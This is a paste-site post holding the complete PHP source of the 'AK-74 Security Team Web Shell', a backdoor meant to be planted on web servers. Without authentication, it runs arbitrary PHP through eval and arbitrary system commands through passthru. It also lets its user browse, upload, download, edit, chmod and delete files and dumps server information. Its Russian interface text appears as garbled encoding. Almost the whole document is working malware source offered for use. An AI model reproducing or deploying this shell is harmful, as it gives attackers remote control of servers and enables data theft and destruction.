ak74 web shell cooding


SUBMITTED BY: nabz

DATE: Jan. 25, 2017, 4:35 p.m.

FORMAT: Text only

SIZE: 20.5 kB

HITS: 172

  1. <?
  2. /*
  3. .:: :[AK-74 Security Team Web Shell Beta Version]: ::.
  4. - AK-74 Security Team Web Site: www.ak74-team.net
  5. - Released on 01 June 2006.
  6. - Copyright AK-74 Security Team, 2006.
  7. - Thank you for using our script.
  8. */
  9. error_reporting(0);
  10. set_time_limit(0);
  11. session_start();
  12. $xshell = $SERVER_['PHP_SELF'];
  13. class shell
  14. {
  15. function getfiles()
  16. {
  17. $mas = array();
  18. $i = 0;
  19. if ($handle = opendir($_SESSION['currentdir']))
  20. {
  21. while (false !== ($file = readdir($handle)))
  22. if ($file != '..')
  23. if (!is_dir($_SESSION['currentdir'].'/'.$file))
  24. {
  25. $mas[$i]['filename'] = $file;
  26. $mas[$i]['filesize'] = filesize($_SESSION['currentdir'].'/'.$file);
  27. $mas[$i]['lastmod'] = date("H.i/d.m.Y", filemtime($_SESSION['currentdir'].'/'.$file));
  28. $i++;
  29. }
  30. closedir($handle);
  31. }
  32. return $mas;
  33. }
  34. function getdirs()
  35. {
  36. $mas = array();
  37. if ($handle = opendir($_SESSION['currentdir']))
  38. {
  39. while (false !== ($dir = readdir($handle)))
  40. if ($dir != '.' && is_dir($_SESSION['currentdir'].'/'.$dir))
  41. $mas[] = $dir;
  42. closedir($handle);
  43. }
  44. return $mas;
  45. }
  46. function geturl()
  47. {
  48. if ($_SESSION['currentdir'].'/' == $_SERVER['DOCUMENT_ROOT'])
  49. return '/';
  50. if (strpos($_SESSION['currentdir'],str_replace('\\','/',$_SERVER['DOCUMENT_ROOT'])) === false)
  51. return '';
  52. return str_replace($_SERVER['DOCUMENT_ROOT'],'',$_SESSION['currentdir'].'/');
  53. }
  54. function removefile()
  55. {
  56. if (file_exists($_GET['file']))
  57. {
  58. chmod($_GET['file'],0777);
  59. if (unlink($_GET['file']))
  60. return 'Ôàéë óäàëåí!';
  61. else
  62. return 'Ôàéë óäàëåí!';
  63. }
  64. else
  65. return 'Ôàéë íå íàéäåí!';
  66. }
  67. function removedir()
  68. {
  69. chmod($_GET['dir'],0777);
  70. if (rmdir($_GET['dir']))
  71. return 'Äèðåêòîðèÿ óäàëåíà!';
  72. else
  73. return 'Äèðåêòîðèÿ íå íàéäåía!';
  74. }
  75. function getmicrotime()
  76. {
  77. list($usec, $sec) = explode(" ",microtime());
  78. return ((float)$usec + (float)$sec);
  79. }
  80. function getpermission($path)
  81. {
  82. $perms = fileperms($path);
  83. if (($perms & 0xC000) == 0xC000)
  84. $info = 's';
  85. elseif (($perms & 0xA000) == 0xA000)
  86. $info = 'l';
  87. elseif (($perms & 0x8000) == 0x8000)
  88. $info = '-';
  89. elseif (($perms & 0x6000) == 0x6000)
  90. $info = 'b';
  91. elseif (($perms & 0x4000) == 0x4000)
  92. $info = 'd';
  93. elseif (($perms & 0x2000) == 0x2000)
  94. $info = 'c';
  95. elseif (($perms & 0x1000) == 0x1000)
  96. $info = 'p';
  97. else
  98. $info = 'u';
  99. $info .= (($perms & 0x0100) ? 'r' : '-');
  100. $info .= (($perms & 0x0080) ? 'w' : '-');
  101. $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
  102. $info .= (($perms & 0x0020) ? 'r' : '-');
  103. $info .= (($perms & 0x0010) ? 'w' : '-');
  104. $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
  105. $info .= (($perms & 0x0004) ? 'r' : '-');
  106. $info .= (($perms & 0x0002) ? 'w' : '-');
  107. $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));
  108. return $info;
  109. }
  110. function getpermissionarray($path)
  111. {
  112. $res = array();
  113. $perms = fileperms($path);
  114. if (($perms & 0xC000) == 0xC000)
  115. $res[] = 's';
  116. elseif (($perms & 0xA000) == 0xA000)
  117. $res[] = 'l';
  118. elseif (($perms & 0x8000) == 0x8000)
  119. $res[] = '-';
  120. elseif (($perms & 0x6000) == 0x6000)
  121. $res[] = 'b';
  122. elseif (($perms & 0x4000) == 0x4000)
  123. $res[] = 'd';
  124. elseif (($perms & 0x2000) == 0x2000)
  125. $res[] = 'c';
  126. elseif (($perms & 0x1000) == 0x1000)
  127. $res[] = 'p';
  128. else
  129. $res[] = 'u';
  130. $res[] = (($perms & 0x0100) ? 'r' : '-');
  131. $res[] = (($perms & 0x0080) ? 'w' : '-');
  132. $res[] = (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
  133. $res[] = (($perms & 0x0020) ? 'r' : '-');
  134. $res[] = (($perms & 0x0010) ? 'w' : '-');
  135. $res[] = (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
  136. $res[] = (($perms & 0x0004) ? 'r' : '-');
  137. $res[] = (($perms & 0x0002) ? 'w' : '-');
  138. $res[] = (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));
  139. return $res;
  140. }
  141. function outputhead()
  142. {
  143. $res = '';
  144. $res .= '<html><head><title>AK-74 Security Team Web Shell</title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"></head>
  145. <body>
  146. <STYLE>
  147. A:link {
  148. COLOR: #4d6d91; TEXT-DECORATION: underline
  149. }
  150. A:active {
  151. COLOR: #4d6d91; TEXT-DECORATION: underline
  152. }
  153. A:visited {
  154. COLOR: #4d6d91; TEXT-DECORATION: underline
  155. }
  156. A:hover {
  157. COLOR: #C10000; TEXT-DECORATION: underline
  158. }
  159. TD {
  160. FONT-SIZE: 10pt; FONT-FAMILY: verdana,arial,helvetica
  161. }
  162. BODY {
  163. FONT-SIZE: 10pt; FONT-FAMILY: verdana,arial,helvetica; SCROLLBAR-FACE-COLOR: #cccccc; SCROLLBAR-HIGHLIGHT-COLOR: #c10000; SCROLLBAR-SHADOW-COLOR: #c10000; SCROLLBAR-3DLIGHT-COLOR: #830000; SCROLLBAR-ARROW-COLOR: #c10000; SCROLLBAR-TRACK-COLOR: #eeeeee; FONT-FAMILY: verdana; SCROLLBAR-DARKSHADOW-COLOR: #830000; BACKGROUND-COLOR: #dcdcdc;
  164. }
  165. </STYLE>
  166. <div align="center"><table border=1 bgcolor=#eeeeee cellspacing=0 cellpadding=3 style="border: #C10000 2px solid">
  167. <tr>
  168. <td colspan=7 align="center">
  169. <b><font color=#830000 size=4>.:: :[ AK-74 Security Team Web-shell ]: ::.</font></b>
  170. </td>
  171. </tr>';
  172. return $res;
  173. }
  174. function outputmenu()
  175. {
  176. $res = '';
  177. $res .= '<tr>
  178. <td colspan=7 align="center">
  179. <table border=0 cellspacing=0 cellpadding=0>
  180. <tr align="center">
  181. <td width=150>
  182. <a href="'.$xshell.'?act=info">Îáùàÿ èíôîðìàöèÿ</a>
  183. </td>
  184. <td width=150>
  185. <a href="'.$xshell.'?act=filemanager">Ôàéëîâûé ìåíåäæåð</a>
  186. </td>
  187. <td width=80>
  188. <a href="'.$xshell.'?act=phpinfo" target="_blank">phpinfo()</a>
  189. </td>
  190. <td width=110>
  191. <a href="'.$xshell.'?act=execute">Âûïîëíèòü PHP</a>
  192. </td>
  193. <td width=150>
  194. <a href="'.$xshell.'?act=exesys">Âûïîëíèòü êîìàíäó</a>
  195. </td>
  196. </tr>
  197. </table>
  198. </td>
  199. </tr>';
  200. return $res;
  201. }
  202. function outputdown()
  203. {
  204. $res = '';
  205. $res .= '</table></div></body></html>';
  206. return $res;
  207. }
  208. function outputfilemanager()
  209. {
  210. $res = '';
  211. $number = 0;
  212. $dirs = $this->getdirs();
  213. $files = $this->getfiles();
  214. sort($dirs);
  215. sort($files);
  216. $res .= '
  217. <tr>
  218. <td colspan=7 align="center">
  219. <font color=#830000> Òåêóùàÿ äèðåêòîðèÿ:</font><b><font color=#830000>'.$_SESSION['currentdir'].'</font></b>
  220. </td>
  221. </tr>
  222. <tr align="center">
  223. <td width=30>
  224. &nbsp;
  225. </td>
  226. <td width=330>
  227. &nbsp;
  228. </td>
  229. <td width=80><font color=#830000>Ðàçìåð,</font> <b><font color=#830000>áàéò</font></b>
  230. &nbsp;
  231. </td>
  232. <td width=120><font color=#830000>
  233. Ïîñëåäíåå èçìåíåíèå
  234. </font>
  235. </td>
  236. <td width=80 align="center"><font color=#830000>Ïðàâà äîñòóïà</font>
  237. &nbsp;
  238. </td>
  239. <td width=30>
  240. &nbsp;
  241. </td>
  242. <td width=30>
  243. &nbsp;
  244. </td>
  245. </tr>';
  246. for ($i = 0; $i < count($dirs); $i++)
  247. {
  248. $res .= '<tr><td><b><font color=#830000>'.(++$number).'</font></b></td><td><b><a href="'.$xshell.'?act=filemanager&dir='.$dirs[$i].'">'.$dirs[$i].'</a></b></td><td>&nbsp;</td><td>&nbsp;</td><td>';
  249. $res .= '<a href="'.$xshell.'?act=chmod&file='.$_SESSION['currentdir'].'/'.$dirs[$i].'">'.($this->getpermission($_SESSION['currentdir'].'/'.$dirs[$i])).'</a>';
  250. $res .= '</td><td>&nbsp;</td><td><a href="'.$xshell.'?act=filemanager&act3=del&dir='.$_SESSION['currentdir'].'/'.$dirs[$i].'">delete</a></td></tr>';
  251. }
  252. for ($i = 0; $i < count($files); $i++)
  253. {
  254. $res .= '<tr><td><b><font color=#830000>'.(++$number).'</font></b></td>';
  255. $res .= '<td><a href="'.$xshell.'?act=down&file='.$_SESSION['currentdir'].'/'.$files[$i]['filename'].'">'.$files[$i]['filename'].'</a></td>';
  256. $res .= '<td>&nbsp;&nbsp;'.$files[$i]['filesize'].'</td>';
  257. $res .= '<td align="center">'.$files[$i]['lastmod'].'</td>';
  258. $res .= '<td align="center"><a href="'.$xshell.'?act=chmod&file='.$_SESSION['currentdir'].'/'.$files[$i]['filename'].'">'.($this->getpermission($_SESSION['currentdir'].'/'.$files[$i]['filename'])).'</a></td>';
  259. $res .= '<td align="center"><a href="'.$xshell.'?act=edit&file='.$_SESSION['currentdir'].'/'.$files[$i]['filename'].'">edit</a></td>';
  260. $res .= '<td align="center"><a href="'.$xshell.'?act=filemanager&act2=del&file='.$_SESSION['currentdir'].'/'.$files[$i]['filename'].'">delete</a></td></tr>';
  261. }
  262. $res .= '</table><br>';
  263. $res .= '<table border=0 bgcolor=#eeeeee cellspacing=0 cellpadding=3 style="border: #C10000 2px solid">';
  264. $res .= '<tr><td align=center><form action="'.$xshell.'?act=filemanager" method="post"><input type="hidden" name="action" value="mkdir"><b><font color=#830000>Ñîçäàòü äèðåêòîðèþ:</b></font> </td><td><input type="text" name="dircreate"><input type="submit" value="Ñîçäàòü"></form></td></tr>';
  265. $res .= '<tr><td align=center><form action="'.$xshell.'?act=filemanager" method="post"><input type="hidden" name="action" value="createfile"><b><font color=#830000>Ñîçäàòü ôàéë:</b></font></td><td> <input type="text" name="filecreate"><input type="submit" value="Ñîçäàòü"></form></td></tr>';
  266. $res .= '<tr><td align=center><form enctype="multipart/form-data" action="'.$xshell.'?act=filemanager" method="post"><input type="hidden" name="action" value="uploadfile"><b><font color=#830000>Çàêà÷àòü ôàéë:</font></b></td><td><input type="file" name="filename" size="23"> <b><font color=#830000>è ïðèñâîèòü èìÿ</b></font></td><td> <input type="text" name="filename2"><input type="submit" value="Âïåð¸ä"></form></td></tr>';
  267. $res .= '<table border=0 width="700" bgcolor=#eeeeee cellspacing=0 cellpadding=3 style="border: #C10000 1px solid">';
  268. $res .= '<tr><td align=center><b><font color=#83000>Copyright </font><a href="http://ak74-team.net" target="_blank">AK-74 Security Team<a> <font color=#83000>2005 - '.date("Y").'</font></b></td></tr>';
  269. return $res;
  270. }
  271. function outputinfo()
  272. {
  273. $res = '';
  274. $res .= '<tr>
  275. <td align="center" colspan=7>
  276. <b><font color=#83000>Îáùàÿ èíôîðìàöèÿ î ñåðâåðå</font></b>
  277. </td>
  278. </tr>
  279. <tr>
  280. <td colspan=7 align="left"><br>
  281. <ol>
  282. <b><font color=#830000>1. OS - </font></b><font color=#830000>'.(php_uname()).'</font><br><br>
  283. <b><font color=#830000>2. Âåðñèÿ PHP - </font></b><font color=#830000>'.(phpversion()).'</font><br><br>
  284. <b><font color=#830000>3.</font></b><font color=#830000> <b><font color=#830000>User</b></font> - '.( get_current_user()).' <b><font color=#830000>|| User ID</font></b> - '.( getmyuid()).' <b><font color=#830000>|| Group ID</b></font> - '.( getmygid ()).'</font><br><br>
  285. <b><font color=#830000>4. Server Software - </font></b><font color=#830000>'.(getenv('SERVER_SOFTWARE')).'</font><br><br>
  286. <b><font color=#830000>5. Request Method - </font></b><font color=#830000>'.(getenv('REQUEST_METHOD')).'</font><br><br>
  287. <b><font color=#830000>6. Server IP - </font></b><font color=#830000>'.(getenv('SERVER_ADDR')).'</font><br><br>
  288. <b><font color=#830000>7. Your IP - </font></b><font color=#830000>'.(getenv('REMOTE_ADDR')).'</font><br><br>
  289. <b><font color=#830000>8. X Forwarded For IP - </font></b><font color=#830000>'.(getenv('HTTP_X_FORWARDED_FOR')).'</font><br><br>
  290. </td>
  291. </tr>
  292. <table border=0 width="555" bgcolor=#eeeeee cellspacing=0 cellpadding=3 style="border: #C10000 1px solid">
  293. <tr><td align=center><b><font color=#83000>Copyright </font><a href="http://ak74-team.net" target="_blank">AK-74 Security Team<a> <font color=#83000>2005 - '.date("Y").'</font></b></td></tr>';
  294. return $res;
  295. }
  296. function chmodform($file)
  297. {
  298. $perms = $this->getpermissionarray($file);
  299. $res = '';
  300. $res .= '<form action="'.$xshell.'?act=filemanager" method="post"><input type="hidden" name="action" value="chmod">'
  301. .'<input type="hidden" name="file" value="'.$file.'">
  302. <tr>
  303. <td align="center" colspan=7>
  304. <b><font color=#83000>Èçìåíåíèå ïðàâ äîñòóïà</font></b>
  305. </td>
  306. </tr>
  307. <tr>
  308. <td colspan=7 align="center">
  309. <table border=1 cellspacing=0 cellpadding=0>';
  310. $res .= '<tr align="center"><td>&nbsp;</td><td>r</td><td>w</td><td>x</td><td>r</td><td>w</td><td>x</td><td>r</td><td>w</td><td>x</td></tr>';
  311. $res .= '<tr><td><input type="hidden" name="perms0" value="'.$perms[0].'">'.$perms[0].'</td>';
  312. for ($i = 1; $i <= 9; $i++)
  313. $res .= '<td><input type="checkbox" name="perms'.$i.'"'.(($perms[$i] != '-') ? ' checked' : '' ).'></td>';
  314. $res .= '</tr><tr><td colspan=10 align="right"><input type="submit" value="Ñîõðàíèòü"></td></tr>';
  315. $res .= '</table></td></tr></form>';
  316. return $res;
  317. }
  318. function editfileform($file)
  319. {
  320. $fp = fopen($file,'r');
  321. if (!$fp)
  322. return 'Ðåäàêòèðîâàíèå ôàéëà';
  323. $res = '';
  324. $res .= '<form action="'.$xshell.'?act=filemanager" method="post"><input type="hidden" name="action" value="editfile">'
  325. .'<input type="hidden" name="file" value="'.$file.'"><tr>
  326. <td align="center" colspan=7>
  327. <b><font color=#83000>Ðåäàêòèðîâàíèå ôàéëà</font></b>
  328. </td>
  329. </tr>
  330. <tr>
  331. <td colspan=7 align="center">
  332. <table border=1 cellspacing=0 cellpadding=0>';
  333. $res .= '<tr><td><textarea rows=25 cols=100 name="filecontent">'.(htmlspecialchars(fread($fp, filesize($file)))).'</textarea></td></tr>';
  334. $res .= '<tr><td align="right"><b><font color=#830000>Rename:</font></b> <INPUT TYPE=TEXT NAME=rename size=100 maxlength=9999999 value='.$file.'> - <input type="submit" value="Ðåäàêòèðîâàòü"></td></tr>';
  335. $res .= '</table></td></tr></form>';
  336. fclose($fp);
  337. return $res;
  338. }
  339. function executeform()
  340. {
  341. $res = '';
  342. $res .= '<form action="'.$xshell.'?act=execute" method="post"><input type="hidden" name="action" value="execute">
  343. <tr>
  344. <td align="center" colspan=7>
  345. <b><font color=#83000>Âûïîëíåíèå PHP-êîäà<br> Îòêðûòèå è çàêðûòèå PHP êîäà ( &lt;? è ?> ) ïèñàòü íå íóæíî!</font></b>
  346. </td>
  347. </tr>
  348. <tr>
  349. <td colspan=7 align="center">
  350. <table border=1 cellspacing=0 cellpadding=0><tr><td><textarea rows=20 cols=80 name="phpcode">';
  351. $res .= '</textarea></td></tr><tr><td align="right"><input type="submit" value="Âûïîëíèòü"></td></tr></table></td></tr>
  352. <table border=0 width="555" bgcolor=#eeeeee cellspacing=0 cellpadding=3 style="border: #C10000 1px solid">
  353. <tr><td align=center><b><font color=#83000>Copyright </font><a href="http://ak74-team.net" target="_blank">AK-74 Security Team<a> <font color=#83000>2005 - '.date("Y").'</font></b></td></tr>';
  354. return $res;
  355. }
  356. function execute()
  357. {
  358. echo "<hr>";
  359. echo "<pre>";
  360. eval(stripslashes($_POST['phpcode']));
  361. echo "</pre>";
  362. echo "<hr>";
  363. }
  364. function exesysform()
  365. {
  366. $res = '';
  367. $res .= '<form action="'.$xshell.'?act=exesys" method="post"><input type="hidden" name="action" value="exesys">
  368. <tr>
  369. <td align="center" colspan=7>
  370. <b><font color=#83000>Execute system commands!</font></b>
  371. </td>
  372. </tr>
  373. <tr>
  374. <td colspan=7 align="center">
  375. <table border=1 cellspacing=0 cellpadding=0><tr><td><textarea rows=5 cols=80 name="cmmd">';
  376. $res .= '</textarea></td></tr><tr><td align="right"><input type="submit" value="Âûïîëíèòü"></td></tr></table></td></tr>
  377. <table border=0 width="555" bgcolor=#eeeeee cellspacing=0 cellpadding=3 style="border: #C10000 1px solid">
  378. <tr><td align=center><b><font color=#83000>Copyright </font><a href="http://ak74-team.net" target="_blank">AK-74 Security Team<a> <font color=#83000>2005 - '.date("Y").'</font></b></td></tr>';
  379. return $res;
  380. }
  381. function exesys()
  382. {
  383. echo "<hr>";
  384. echo "<pre>";
  385. $result = passthru($_POST['cmmd']);
  386. echo "</pre>";
  387. echo "<hr>";
  388. }
  389. function editfile($file)
  390. {
  391. if (!empty($_POST['rename'])) {
  392. rename ($_POST['file'], $_POST['rename']);
  393. }
  394. $fp = fopen($_POST['rename'],'w');
  395. if (!$fp)
  396. return 0;
  397. fwrite($fp, stripslashes($_POST['filecontent']));
  398. fclose($fp);
  399. return 1;
  400. }
  401. function chmodfile($file)
  402. {
  403. $res = 0;
  404. switch ($_POST['perms0'])
  405. {
  406. case 's':
  407. $res = $res | 0xC000;
  408. break;
  409. case 'l':
  410. $res = $res | 0xA000;
  411. break;
  412. case '-':
  413. $res = $res | 0x8000;
  414. break;
  415. case 'b':
  416. $res = $res | 0x6000;
  417. break;
  418. case 'd':
  419. $res = $res | 0x4000;
  420. break;
  421. case 'c':
  422. $res = $res | 0x2000;
  423. break;
  424. case 'p':
  425. $res = $res | 0x1000;
  426. break;
  427. case 'u':
  428. break;
  429. }
  430. if (isset($_POST['perms1']))
  431. $res = $res | 0x0100;
  432. if (isset($_POST['perms2']))
  433. $res = $res | 0x0080;
  434. if (isset($_POST['perms3']))
  435. $res = $res | 0x0040;
  436. if (isset($_POST['perms4']))
  437. $res = $res | 0x0020;
  438. if (isset($_POST['perms5']))
  439. $res = $res | 0x0010;
  440. if (isset($_POST['perms6']))
  441. $res = $res | 0x0008;
  442. if (isset($_POST['perms7']))
  443. $res = $res | 0x0004;
  444. if (isset($_POST['perms8']))
  445. $res = $res | 0x0002;
  446. if (isset($_POST['perms9']))
  447. $res = $res | 0x0001;
  448. echo substr(sprintf('%o', $res), -4);
  449. return chmod($file,intval(substr(sprintf('%o', $res), -4),8));
  450. }
  451. function downloadfile($file)
  452. {
  453. header ("Content-Type: application/octet-stream");
  454. header ("Content-Length: " . filesize($file));
  455. header ("Content-Disposition: attachment; filename=$file");
  456. readfile($file);
  457. die();
  458. }
  459. function createdir()
  460. {
  461. if (!empty($_POST['dircreate']))
  462. if (mkdir($_SESSION['currentdir'].'/'.$_POST['dircreate']))
  463. return 'Äèðåêòîðèÿ ñîçäàíà!';
  464. return 'Îøèáêà ïðè ñîçäàíèè äèðåêòîðèè';
  465. }
  466. function createfile()
  467. {
  468. if (!empty($_POST['filecreate']))
  469. {
  470. if (file_exists($_SESSION['currentdir'].'/'.$_POST['filecreate']))
  471. return 'Ôàéë óæå ñóùåñòâóåò';
  472. $fp = fopen($_SESSION['currentdir'].'/'.$_POST['filecreate'],"w");
  473. if ($fp)
  474. {
  475. fclose($fp);
  476. return 'Ôàéë ñîçäàí!';
  477. }
  478. }
  479. return 'Îøèáêà ïðè ñîçäàíèè ôàéëà';
  480. }
  481. function uploadfile()
  482. {
  483. if ($_FILES['filename']['error'] != 0)
  484. return '121212';
  485. $_POST['filename2'] = trim($_POST['filename2']);
  486. if (empty($_POST['filename2']))
  487. $_POST['filename2'] = $_FILES['filename']['name'];
  488. if (!copy($_FILES['filename']['tmp_name'],$_SESSION['currentdir'].'/'.$_POST['filename2']))
  489. if (!move_uploaded_file($_FILES['filename']['tmp_name'],$_SESSION['currentdir'].'/'.$_POST['filename2']))
  490. return 'Çàêà÷êà ôàéëà íå âûïîëíåíà...';
  491. return 'Çàêà÷êà ôàéëà ïðîèçâåäåíà óñïåøíî!';
  492. }
  493. }
  494. $shell = new shell();
  495. $timestart = $shell->getmicrotime();
  496. $content = '';
  497. if (!isset($_SESSION['currentdir']))
  498. $_SESSION['currentdir'] = str_replace('\\','/',$_SERVER['DOCUMENT_ROOT']);
  499. if (isset($_GET['dir']))
  500. {
  501. if (opendir(realpath($_SESSION['currentdir'].'/'.$_GET['dir'])))
  502. $_SESSION['currentdir'] = realpath($_SESSION['currentdir'].'/'.$_GET['dir']);
  503. Header("Location: $xshell?act=filemanager");
  504. }
  505. $_SESSION['currentdir'] = str_replace('\\','/',$_SESSION['currentdir']);
  506. if (substr($_SESSION['currentdir'],-1,1) == '/')
  507. $_SESSION['currentdir'] = substr($_SESSION['currentdir'],0,-1);
  508. switch ($_POST['action'])
  509. {
  510. case 'chmod':
  511. if($shell->chmodfile($_POST['file']))
  512. $content .= 'Ñìåíà ïðàâ ïðîèçîøëà óñïåøíî';
  513. break;
  514. case 'editfile':
  515. if ($shell->editfile($_POST['file']))
  516. $content .= 'Ðåäàêòèðîâàíèå ïðîèçîøëî óñïåøíî';
  517. break;
  518. case 'execute':
  519. $shell->execute();
  520. break;
  521. case 'exesys':
  522. $shell->exesys();
  523. break;
  524. case 'mkdir':
  525. $content .= $shell->createdir();
  526. break;
  527. case 'createfile':
  528. $content .= $shell->createfile();
  529. break;
  530. case 'uploadfile':
  531. $content .= $shell->uploadfile();
  532. break;
  533. }
  534. $content .= $shell->outputhead();
  535. $content .= $shell->outputmenu();
  536. switch ($_GET['act'])
  537. {
  538. case 'edit':
  539. $content .= $shell->editfileform($_GET['file']);
  540. break;
  541. case 'chmod':
  542. $content .= $shell->chmodform($_GET['file']);
  543. break;
  544. case 'down':
  545. $content .= $shell->downloadfile($_GET['file']);
  546. break;
  547. case 'filemanager':
  548. if ($_GET['act2'] == 'del')
  549. $content .= $shell->removefile();
  550. $content .= $shell->outputfilemanager();
  551. if ($_GET['act3'] == 'del')
  552. $content .= $shell->removedir();
  553. break;
  554. case 'phpinfo':
  555. phpinfo();
  556. die();
  557. break;
  558. case 'info':
  559. $content .= $shell->outputinfo();
  560. break;
  561. case 'execute':
  562. $content .= $shell->executeform();
  563. break;
  564. case 'exesys':
  565. $content .= $shell->exesysform();
  566. break;
  567. }
  568. $content .= $shell->outputdown();
  569. echo $content;
  570. echo '<center>Âðåìÿ ãåíåðàöèè: '.($shell->getmicrotime()-$timestart).'</center>';
  571. ?>

comments powered by Disqus